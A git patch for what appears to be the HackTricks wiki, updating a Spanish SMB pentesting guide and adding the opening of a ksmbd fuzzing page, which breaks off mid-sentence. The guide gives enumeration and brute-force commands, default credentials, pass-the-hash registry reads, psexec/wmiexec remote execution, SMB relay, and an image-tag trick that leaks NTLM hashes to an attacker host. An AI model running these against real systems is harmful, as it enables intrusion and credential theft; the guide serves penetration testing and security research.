From 2cb9a6ff87b06d8ca5a40fa38ac53210aa769bbf Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 8 Sep 2025 06:17:54 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-smb/README.md', --- src/SUMMARY.md | 1 + .../pentesting-smb/README.md | 189 +++++++-------- ...bd-attack-surface-and-fuzzing-syzkaller.md | 218 ++++++++++++++++++ 3 files changed, 317 insertions(+), 91 deletions(-) create mode 100644 src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 793c88a81..b18b11ccd 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -494,6 +494,7 @@ - [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md) - [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md) - [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md) + - [Ksmbd Attack Surface And Fuzzing Syzkaller](network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md) - [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md) - [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md) - [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md) diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 2155292ad..96c70c285 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,43 +4,44 @@ ## **Puerto 139** -El _**Sistema Básico de Entrada y Salida de Red**_** (NetBIOS)** es un protocolo de software diseñado para permitir que aplicaciones, PCs y escritorios dentro de una red de área local (LAN) interactúen con hardware de red y **faciliten la transmisión de datos a través de la red**. La identificación y localización de aplicaciones de software que operan en una red NetBIOS se logran a través de sus nombres NetBIOS, que pueden tener hasta 16 caracteres de longitud y a menudo son distintos del nombre del ordenador. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una aplicación (actuando como cliente) emite un comando para "llamar" a otra aplicación (actuando como servidor) utilizando **TCP Puerto 139**. +El _**Sistema Básico de Entrada/Salida de Red**_** (NetBIOS)** es un protocolo de software diseñado para permitir que aplicaciones, PCs y equipos de escritorio dentro de una red de área local (LAN) interactúen con el hardware de red y **faciliten la transmisión de datos a través de la red**. La identificación y localización de las aplicaciones de software que operan en una red NetBIOS se consigue mediante sus nombres NetBIOS, que pueden tener hasta 16 caracteres de longitud y frecuentemente son distintos del nombre del equipo. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una aplicación (actuando como el cliente) emite un comando para "llamar" a otra aplicación (actuando como el servidor) utilizando **Puerto TCP 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Puerto 445 -Técnicamente, el Puerto 139 se refiere a ‘NBT sobre IP’, mientras que el Puerto 445 se identifica como ‘SMB sobre IP’. El acrónimo **SMB** significa ‘**Server Message Blocks**’, que también se conoce modernamente como el **Common Internet File System (CIFS)**. Como un protocolo de red de capa de aplicación, SMB/CIFS se utiliza principalmente para habilitar el acceso compartido a archivos, impresoras, puertos serie y facilitar varias formas de comunicación entre nodos en una red. +Técnicamente, el puerto 139 se denomina 'NBT over IP', mientras que el puerto 445 se identifica como 'SMB over IP'. El acrónimo **SMB** significa ‘**Server Message Blocks**’, que también se conoce actualmente como **Common Internet File System (CIFS)**. Como protocolo de red de capa de aplicación, SMB/CIFS se utiliza principalmente para permitir el acceso compartido a archivos, impresoras, puertos seriales y facilitar diversas formas de comunicación entre nodos en una red. -Por ejemplo, en el contexto de Windows, se destaca que SMB puede operar directamente sobre TCP/IP, eliminando la necesidad de NetBIOS sobre TCP/IP, a través de la utilización del puerto 445. Por el contrario, en diferentes sistemas, se observa el empleo del puerto 139, lo que indica que SMB se está ejecutando en conjunto con NetBIOS sobre TCP/IP. +Por ejemplo, en el contexto de Windows, se destaca que SMB puede operar directamente sobre TCP/IP, eliminando la necesidad de NetBIOS over TCP/IP, mediante el uso del puerto 445. Por el contrario, en otros sistemas, se observa el uso del puerto 139, lo que indica que SMB se está ejecutando en conjunto con NetBIOS over TCP/IP. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -El **Server Message Block (SMB)** protocolo, que opera en un modelo **cliente-servidor**, está diseñado para regular el **acceso a archivos**, directorios y otros recursos de red como impresoras y enrutadores. Utilizado principalmente dentro de la serie de sistemas operativos **Windows**, SMB asegura la compatibilidad hacia atrás, permitiendo que dispositivos con versiones más nuevas del sistema operativo de Microsoft interactúen sin problemas con aquellos que ejecutan versiones más antiguas. Además, el proyecto **Samba** ofrece una solución de software libre, permitiendo la implementación de SMB en sistemas **Linux** y Unix, facilitando así la comunicación entre plataformas a través de SMB. +El protocolo **Server Message Block (SMB)**, que opera en un modelo **cliente-servidor**, está diseñado para regular el **acceso a archivos**, directorios y otros recursos de red como impresoras y routers. Utilizado principalmente en la serie de sistemas operativos **Windows**, SMB garantiza compatibilidad hacia atrás, permitiendo que dispositivos con versiones más recientes del sistema operativo de Microsoft interactúen sin problemas con aquellos que ejecutan versiones antiguas. Además, el proyecto **Samba** ofrece una solución de software libre, que permite la implementación de SMB en sistemas **Linux** y Unix, facilitando así la comunicación multiplataforma mediante SMB. -Los recursos compartidos, que representan **partes arbitrarias del sistema de archivos local**, pueden ser proporcionados por un servidor SMB, haciendo que la jerarquía sea visible para un cliente de manera **independiente** de la estructura real del servidor. Las **Access Control Lists (ACLs)**, que definen los **derechos de acceso**, permiten un **control detallado** sobre los permisos de los usuarios, incluyendo atributos como **`execute`**, **`read`** y **`full access`**. Estos permisos pueden ser asignados a usuarios individuales o grupos, basados en los recursos compartidos, y son distintos de los permisos locales establecidos en el servidor. +Los shares, que representan **partes arbitrarias del sistema de archivos local**, pueden ser proporcionados por un servidor SMB, haciendo que la jerarquía visible para un cliente sea en parte **independiente** de la estructura real del servidor. Las **Access Control Lists (ACLs)**, que definen los **derechos de acceso**, permiten un **control granular** sobre los permisos de los usuarios, incluyendo atributos como **`execute`**, **`read`** y **`full access`**. Estos permisos se pueden asignar a usuarios individuales o grupos, en función de los shares, y son distintos de los permisos locales establecidos en el servidor. ### IPC$ Share -El acceso al recurso compartido IPC$ se puede obtener a través de una sesión nula anónima, permitiendo la interacción con servicios expuestos a través de pipes nombrados. La utilidad `enum4linux` es útil para este propósito. Utilizada correctamente, permite la adquisición de: +El acceso al share IPC$ puede obtenerse mediante una null session anónima, lo que permite la interacción con servicios expuestos a través de named pipes. La utilidad `enum4linux` es útil para este propósito. Si se utiliza correctamente, permite la obtención de: - Información sobre el sistema operativo - Detalles sobre el dominio principal -- Una compilación de usuarios y grupos locales -- Información sobre los recursos compartidos SMB disponibles -- La política de seguridad del sistema efectiva +- Una lista de usuarios y grupos locales +- Información sobre los shares SMB disponibles +- La política de seguridad efectiva del sistema -Esta funcionalidad es crítica para los administradores de red y profesionales de seguridad para evaluar la postura de seguridad de los servicios SMB (Server Message Block) en una red. `enum4linux` proporciona una vista completa del entorno SMB del sistema objetivo, lo cual es esencial para identificar vulnerabilidades potenciales y asegurar que los servicios SMB estén debidamente protegidos. +Esta funcionalidad es crítica para administradores de red y profesionales de seguridad para evaluar la postura de seguridad de los servicios SMB (Server Message Block) en una red. `enum4linux` proporciona una visión completa del entorno SMB del sistema objetivo, lo cual es esencial para identificar vulnerabilidades potenciales y asegurar que los servicios SMB estén correctamente protegidos. ```bash enum4linux -a target_ip ``` -El comando anterior es un ejemplo de cómo `enum4linux` podría usarse para realizar una enumeración completa contra un objetivo especificado por `target_ip`. +El comando anterior es un ejemplo de cómo se podría usar `enum4linux` para realizar una enumeración completa contra un objetivo especificado por `target_ip`. -## ¿Qué es NTLM? +## ¿Qué es NTLM + +Si no sabes qué es NTLM o quieres saber cómo funciona y cómo abusar de él, encontrarás muy interesante esta página sobre **NTLM** donde se explica **cómo funciona este protocolo y cómo puedes aprovecharlo:** -Si no sabes qué es NTLM o quieres saber cómo funciona y cómo abusar de él, encontrarás muy interesante esta página sobre **NTLM** donde se explica **cómo funciona este protocolo y cómo puedes aprovecharte de él:** {{#ref}} ../../windows-hardening/ntlm/ @@ -48,15 +49,15 @@ Si no sabes qué es NTLM o quieres saber cómo funciona y cómo abusar de él, e ## **Enumeración de Servidores** -### **Escanear** una red en busca de hosts: +### **Scan** una red buscando hosts: ```bash nbtscan -r 192.168.0.1/24 ``` ### Versión del servidor SMB -Para buscar posibles exploits para la versión de SMB, es importante saber qué versión se está utilizando. Si esta información no aparece en otras herramientas utilizadas, puedes: +Para buscar posibles exploits contra la versión de SMB, es importante saber qué versión se está usando. Si esta información no aparece en otras herramientas utilizadas, puedes: -- Usar el módulo auxiliar de **MSF** `**auxiliary/scanner/smb/smb_version**` +- Usa el **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` - O este script: ```bash #!/bin/sh @@ -74,30 +75,30 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` -### **Buscar exploit** +### **Búsqueda de exploit** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` -### **Credenciales** Posibles +### **Posibles** credenciales -| **Nombre(s) de usuario** | **Contraseñas comunes** | -| ------------------------ | ----------------------------------------- | -| _(vacío)_ | _(vacío)_ | -| invitado | _(vacío)_ | -| Administrador, admin | _(vacío)_, contraseña, administrador, admin | -| arcserve | arcserve, backup | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | -| prueba, laboratorio, demo | contraseña, prueba, laboratorio, demo | +| **Usuario(s)** | **Contraseñas comunes** | +| -------------------- | ----------------------------------------- | +| _(vacío)_ | _(vacío)_ | +| guest | _(vacío)_ | +| Administrator, admin | _(vacío)_, password, administrator, admin | +| arcserve | arcserve, backup | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, backup | backupexec, backup, arcada | +| test, lab, demo | password, test, lab, demo | -### Fuerza Bruta +### Brute Force -- [**Fuerza Bruta SMB**](../../generic-hacking/brute-force.md#smb) +- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb) -### Información del Entorno SMB +### Información del entorno SMB -### Obtener Información +### Obtener información ```bash #Dump interesting information enum4linux -a [-u "" -p ""] @@ -121,7 +122,7 @@ rpcclient -U "username%passwd" #With creds ``` ### Enumerar Usuarios, Grupos y Usuarios Conectados -Esta información ya debería estar siendo recopilada de enum4linux y enum4linux-ng. +Esta información ya debería haberse recopilado con enum4linux y enum4linux-ng ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -139,7 +140,7 @@ enumdomgroups ```bash lookupsid.py -no-pass hostname.local ``` -Un solo comando +Oneliner ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` @@ -149,14 +150,14 @@ use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` -### **Enumerando LSARPC y SAMR rpcclient** +### **Enumeración de LSARPC y SAMR rpcclient** {{#ref}} rpcclient-enumeration.md {{#endref}} -### Conexión GUI desde linux +### Conexión GUI desde Linux #### En la terminal: @@ -166,11 +167,11 @@ rpcclient-enumeration.md `smb://friendzone.htb/general/` -## Enumeración de Carpetas Compartidas +## Enumeración de carpetas compartidas ### Listar carpetas compartidas -Siempre se recomienda verificar si puedes acceder a algo, si no tienes credenciales, intenta usar **null** **credentials/guest user**. +Siempre es recomendable comprobar si puedes acceder a algo; si no tienes credenciales, prueba usando **null** **credentials/guest user**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -198,9 +199,9 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t ``` ### **Enumerar manualmente los recursos compartidos de Windows y conectarse a ellos** -Puede ser posible que esté restringido para mostrar cualquier recurso compartido de la máquina host y cuando intente listarlos, parece que no hay recursos compartidos a los que conectarse. Por lo tanto, podría valer la pena intentar conectarse manualmente a un recurso compartido. Para enumerar los recursos compartidos manualmente, es posible que desee buscar respuestas como NT_STATUS_ACCESS_DENIED y NT_STATUS_BAD_NETWORK_NAME, al usar una sesión válida (por ejemplo, sesión nula o credenciales válidas). Estos pueden indicar si el recurso compartido existe y no tiene acceso a él o si el recurso compartido no existe en absoluto. +Es posible que tengas restringido mostrar los recursos compartidos de la máquina host y que al intentar listarlos parezca que no hay shares a los que conectarse. Por ello puede valer la pena intentar conectarse manualmente a un recurso compartido. Para enumerarlos manualmente, conviene buscar respuestas como NT_STATUS_ACCESS_DENIED y NT_STATUS_BAD_NETWORK_NAME cuando uses una sesión válida (p. ej. null session o credenciales válidas). Estas respuestas pueden indicar si el recurso compartido existe y no tienes acceso, o si el recurso no existe en absoluto. -Los nombres de recursos compartidos comunes para objetivos de Windows son +Common share names for windows targets are - C$ - D$ @@ -211,14 +212,14 @@ Los nombres de recursos compartidos comunes para objetivos de Windows son - SYSVOL - NETLOGON -(Nombres de recursos compartidos comunes de _**Network Security Assessment 3rd edition**_) +(Common share names from _**Network Security Assessment 3rd edition**_) -Puede intentar conectarse a ellos utilizando el siguiente comando +You can try to connect to them by using the following command ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -o este script (usando una sesión nula) +o este script (usando una null session) ```bash #/bin/bash @@ -240,7 +241,7 @@ ejemplos smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Enumerar recursos compartidos de Windows / sin herramientas de terceros** +### **Enumerar recursos compartidos desde Windows / sin herramientas de terceros** PowerShell ```bash @@ -259,14 +260,14 @@ net share # List shares on a remote computer (including hidden ones) net view \\ /all ``` -MMC Snap-in (gráfico) +MMC Snap-in (interfaz gráfica) ```shell # Shared Folders: Shared Folders > Shares fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (gráfico), ingrese `\\\` para ver los recursos compartidos disponibles no ocultos. +explorer.exe (interfaz gráfica), escribe `\\\` para ver los recursos compartidos no ocultos disponibles. ### Montar una carpeta compartida ```bash @@ -275,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **Descargar archivos** -Lee las secciones anteriores para aprender cómo conectarte con credenciales/Pass-the-Hash. +Lee las secciones anteriores para aprender cómo conectarte con credentials/Pass-the-Hash. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -292,70 +293,70 @@ smbclient /// ``` Comandos: -- mask: especifica la máscara que se utiliza para filtrar los archivos dentro del directorio (por ejemplo, "" para todos los archivos) -- recurse: activa la recursión (predeterminado: apagado) -- prompt: desactiva la solicitud de nombres de archivos (predeterminado: encendido) -- mget: copia todos los archivos que coinciden con la máscara del host a la máquina cliente +- mask: especifica la máscara que se usa para filtrar los archivos dentro del directorio (p. ej. "" para todos los archivos) +- recurse: alterna la recursión (por defecto: desactivada) +- prompt: desactiva la petición de nombres de archivo (por defecto: activada) +- mget: copia todos los archivos que coinciden con la máscara desde la máquina host a la máquina cliente -(_Información de la página del manual de smbclient_) +(_Información del manpage de smbclient_) -### Búsqueda de Carpetas Compartidas en el Dominio +### Búsqueda de carpetas compartidas del dominio - [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` -- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) araña. +- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider. - `-M spider_plus [--share ]` - `--pattern txt` ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Especialmente interesantes de los recursos compartidos son los archivos llamados **`Registry.xml`** ya que **pueden contener contraseñas** para usuarios configurados con **autologon** a través de Group Policy. O los archivos **`web.config`** ya que contienen credenciales. +Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials. > [!TIP] -> El **recurso compartido SYSVOL** es **legible** por todos los usuarios autenticados en el dominio. Allí puedes **encontrar** muchos scripts diferentes de batch, VBScript y PowerShell.\ -> Debes **revisar** los **scripts** dentro de él ya que podrías **encontrar** información sensible como **contraseñas**. +> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\ +> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**. -## Leer el Registro +## Leer el registro -Es posible que puedas **leer el registro** utilizando algunas credenciales descubiertas. Impacket **`reg.py`** te permite intentar: +Puede que puedas **leer el registro** usando algunas credenciales descubiertas. Impacket **`reg.py`** te permite intentarlo: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s ``` -## Post Explotación +## Post-Explotación -La **configuración predeterminada de** un **servidor Samba** generalmente se encuentra en `/etc/samba/smb.conf` y puede tener algunas **configuraciones peligrosas**: +La **configuración por defecto de** un servidor **Samba** suele estar ubicada en `/etc/samba/smb.conf` y podría tener algunas **configuraciones peligrosas**: -| **Configuración** | **Descripción** | +| **Opción** | **Descripción** | | --------------------------- | ------------------------------------------------------------------- | -| `browseable = yes` | ¿Permitir listar los recursos disponibles en el recurso actual? | -| `read only = no` | ¿Prohibir la creación y modificación de archivos? | -| `writable = yes` | ¿Permitir a los usuarios crear y modificar archivos? | -| `guest ok = yes` | ¿Permitir conectarse al servicio sin usar una contraseña? | -| `enable privileges = yes` | ¿Honrar los privilegios asignados a un SID específico? | -| `create mask = 0777` | ¿Qué permisos deben asignarse a los archivos recién creados? | -| `directory mask = 0777` | ¿Qué permisos deben asignarse a los directorios recién creados? | -| `logon script = script.sh` | ¿Qué script necesita ejecutarse en el inicio de sesión del usuario?| -| `magic script = script.sh` | ¿Qué script debe ejecutarse cuando se cierra el script? | -| `magic output = script.out` | ¿Dónde debe almacenarse la salida del script mágico? | +| `browseable = yes` | ¿Permite listar los recursos compartidos disponibles en el recurso compartido actual? | +| `read only = no` | ¿Prohíbe la creación y modificación de archivos? | +| `writable = yes` | ¿Permite a los usuarios crear y modificar archivos? | +| `guest ok = yes` | ¿Permite conectarse al servicio sin usar una contraseña? | +| `enable privileges = yes` | ¿Respetar los privilegios asignados a un SID específico? | +| `create mask = 0777` | ¿Qué permisos deben asignarse a los archivos recién creados? | +| `directory mask = 0777` | ¿Qué permisos deben asignarse a los directorios recién creados? | +| `logon script = script.sh` | ¿Qué script debe ejecutarse en el inicio de sesión del usuario? | +| `magic script = script.sh` | ¿Qué script debe ejecutarse cuando el script se cierre? | +| `magic output = script.out` | ¿Dónde debe almacenarse la salida del magic script? | El comando `smbstatus` proporciona información sobre el **servidor** y sobre **quién está conectado**. -## Autenticarse usando Kerberos +## Autenticación usando Kerberos -Puedes **autenticarse** en **kerberos** utilizando las herramientas **smbclient** y **rpcclient**: +Puedes **autenticarte** en **kerberos** usando las herramientas **smbclient** y **rpcclient**: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com ``` -## **Ejecutar Comandos** +## **Ejecutar comandos** ### **crackmapexec** -crackmapexec puede ejecutar comandos **abusando** de cualquiera de **mmcexec, smbexec, atexec, wmiexec**, siendo **wmiexec** el método **predeterminado**. Puedes indicar qué opción prefieres usar con el parámetro `--exec-method`: +crackmapexec puede ejecutar comandos **abusando** de cualquiera de **mmcexec, smbexec, atexec, wmiexec**, siendo **wmiexec** el método **por defecto**. Puedes indicar qué opción prefieres usar con el parámetro `--exec-method`: ```bash apt-get install crackmapexec @@ -379,7 +380,7 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -Ambas opciones **crearán un nuevo servicio** (usando _\pipe\svcctl_ a través de SMB) en la máquina víctima y lo usarán para **ejecutar algo** (**psexec** **subirá** un archivo ejecutable al recurso compartido ADMIN$ y **smbexec** apuntará a **cmd.exe/powershell.exe** y pondrá en los argumentos la carga útil --**técnica sin archivo-**-).\ +Ambas opciones **crearán un nuevo servicio** (usando _\pipe\svcctl_ vía SMB) en la máquina víctima y lo usarán para **ejecutar algo** (**psexec** **subirá** un archivo ejecutable al ADMIN$ share y **smbexec** apuntará a **cmd.exe/powershell.exe** y pondrá en los argumentos el payload --**file-less technique-**-).\ **Más info** sobre [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)y [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/ ```bash @@ -389,11 +390,11 @@ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/ psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -Usando **parameter**`-k` puedes autenticarte contra **kerberos** en lugar de **NTLM** +Usando el **parámetro**`-k` puedes autenticarte contra **kerberos** en lugar de **NTLM** ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -Ejecuta sigilosamente un shell de comandos sin tocar el disco o ejecutar un nuevo servicio usando DCOM a través de **port 135.**\ +Ejecuta sigilosamente un shell de comandos sin tocar el disco ni ejecutar un nuevo servicio usando DCOM a través del **port 135.**\ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted @@ -401,7 +402,7 @@ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/ ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -Usando **parameter**`-k` puedes autenticarte contra **kerberos** en lugar de **NTLM**. +Usando **parámetro**`-k` puedes autenticarte con **kerberos** en lugar de **NTLM** ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -410,7 +411,7 @@ Usando **parameter**`-k` puedes autenticarte contra **kerberos** en lugar de **N ``` ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) -Ejecutar comandos a través del Programador de tareas (usando _\pipe\atsvc_ a través de SMB).\ +Ejecutar comandos mediante el Task Scheduler (usando _\pipe\atsvc_ vía SMB).\ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/ ```bash ./atexec.py [[domain/]username[:password]@] "command" @@ -420,21 +421,27 @@ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/ [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -## **Fuerza bruta de credenciales de usuarios** +### Superficie de ataque de ksmbd y fuzzing de protocolo SMB2/SMB3 (syzkaller) -**Esto no es recomendable, podrías bloquear una cuenta si superas el número máximo de intentos permitidos** +{{#ref}} +ksmbd-attack-surface-and-fuzzing-syzkaller.md +{{#endref}} + +## **Bruteforce credenciales de usuarios** + +**Esto no es recomendable, podrías bloquear una cuenta si excedes el número máximo de intentos permitidos** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` -## Ataque de retransmisión SMB +## SMB relay attack -Este ataque utiliza la herramienta Responder para **capturar sesiones de autenticación SMB** en una red interna y **retransmitirlas** a una **máquina objetivo**. Si la **sesión de autenticación es exitosa**, te llevará automáticamente a un **shell** **del sistema**.\ +Este ataque utiliza el toolkit Responder para **capturar sesiones de autenticación SMB** en una red interna y **reenvíarlas** a una **target machine**. Si la **sesión** de autenticación es exitosa, automáticamente te dará acceso a una **system** **shell**.\ [**Más información sobre este ataque aquí.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -La biblioteca de Windows URLMon.dll intenta autenticarse automáticamente con el host cuando una página intenta acceder a algún contenido a través de SMB, por ejemplo: `img src="\\10.10.10.10\path\image.jpg"` +La librería de Windows URLMon.dll intenta automáticamente autenticarse ante el host cuando una página intenta acceder a algún contenido vía SMB, por ejemplo: `img src="\\10.10.10.10\path\image.jpg"` Esto ocurre con las funciones: @@ -443,21 +450,21 @@ Esto ocurre con las funciones: - URLOpenStream - URLOpenBlockingStream -Que son utilizadas por algunos navegadores y herramientas (como Skype) +Que son usadas por algunos navegadores y herramientas (como Skype) -![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) +![Desde: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) ### SMBTrap usando MitMf -![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) +![Desde: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) -## Robo de NTLM +## NTLM Theft -Similar al SMB Trapping, plantar archivos maliciosos en un sistema objetivo (a través de SMB, por ejemplo) puede provocar un intento de autenticación SMB, permitiendo que el hash NetNTLMv2 sea interceptado con una herramienta como Responder. El hash puede ser descifrado sin conexión o utilizado en un [ataque de retransmisión SMB](#smb-relay-attack). +De forma similar a SMB Trapping, plantar archivos maliciosos en un target system (por ejemplo vía SMB) puede provocar un intento de autenticación SMB, permitiendo interceptar el hash NetNTLMv2 con una herramienta como Responder. El hash puede luego ser crackeado offline o usado en un [SMB relay attack](#smb-relay-attack). [Ver: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) -## Comandos Automáticos de HackTricks +## HackTricks Comandos Automáticos ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md new file mode 100644 index 000000000..64edee140 --- /dev/null +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -0,0 +1,218 @@ +# Superficie de ataque de ksmbd & SMB2/SMB3 Protocol Fuzzing (syzkaller) + +{{#include ../../banners/hacktricks-training.md}} + +## Resumen +Esta página abstrae técnicas prácticas para ejercitar y fuzzear el servidor SMB en el kernel de Linux (ksmbd) usando syzkaller. Se centra en ampliar la superficie de ataque del protocolo mediante la configuración, construir un harness stateful capaz de encadenar operaciones SMB2, generar PDUs válidos según la gramática, sesgar mutaciones hacia rutas de código débilmente cubiertas y aprovechar características de syzkaller como focus_areas y ANYBLOB. Mientras que la investigación original enumera CVEs específicos, aquí enfatizamos la metodología reutilizable y fragmentos concretos que puedes adaptar a tus propios entornos. + +Ámbito objetivo: SMB2/SMB3 sobre TCP. Kerberos y RDMA están intencionalmente fuera de alcance para mantener el harness simple. + +--- + +## Expandir la superficie de ataque de ksmbd mediante la configuración +Por defecto, una configuración mínima de ksmbd deja grandes partes del servidor sin probar. Habilita las siguientes características para llevar al servidor a través de parsers/handlers adicionales y alcanzar rutas de código más profundas: + +- A nivel global +- Durable handles +- Server multi-channel +- SMB2 leases +- A nivel por-share +- Oplocks (activado por defecto) +- VFS objects + +Habilitarlas incrementa la ejecución en módulos como: +- smb2pdu.c (command parsing/dispatch) +- ndr.c (NDR encode/decode) +- oplock.c (oplock request/break) +- smbacl.c (ACL parsing/enforcement) +- vfs.c (VFS ops) +- vfs_cache.c (lookup cache) + +Notas +- Las opciones exactas dependen del userspace de ksmbd de tu distro (ksmbd-tools). Revisa /etc/ksmbd/ksmbd.conf y las secciones por-share para habilitar durable handles, leases, oplocks y VFS objects. +- Multi-channel y durable handles alteran las máquinas de estado y los lifetimes, frecuentemente haciendo aflorar UAF/refcount/OOB bugs bajo concurrencia. + +--- + +## Ajustes de autenticación y rate-limiting para fuzzing +SMB3 necesita una sesión válida. Implementar Kerberos en los harnesses añade complejidad, por lo que se prefiere NTLM/guest para fuzzing: + +- Permitir guest access y configurar map to guest = bad user para que usuarios desconocidos caigan en GUEST. +- Aceptar NTLMv2 (patch policy si está deshabilitado). Esto mantiene el handshake simple mientras se ejercitan rutas de código de SMB3. +- Parchear las comprobaciones estrictas de credit cuando se experimenta (el endurecimiento post-CVE-2024-50285 hizo más estricta la acreditación de simultaneous-op). Si no, los rate-limits pueden rechazar secuencias fuzzed demasiado pronto. +- Incrementar max connections (p. ej., a 65536) para evitar rechazos tempranos durante fuzzing de alto 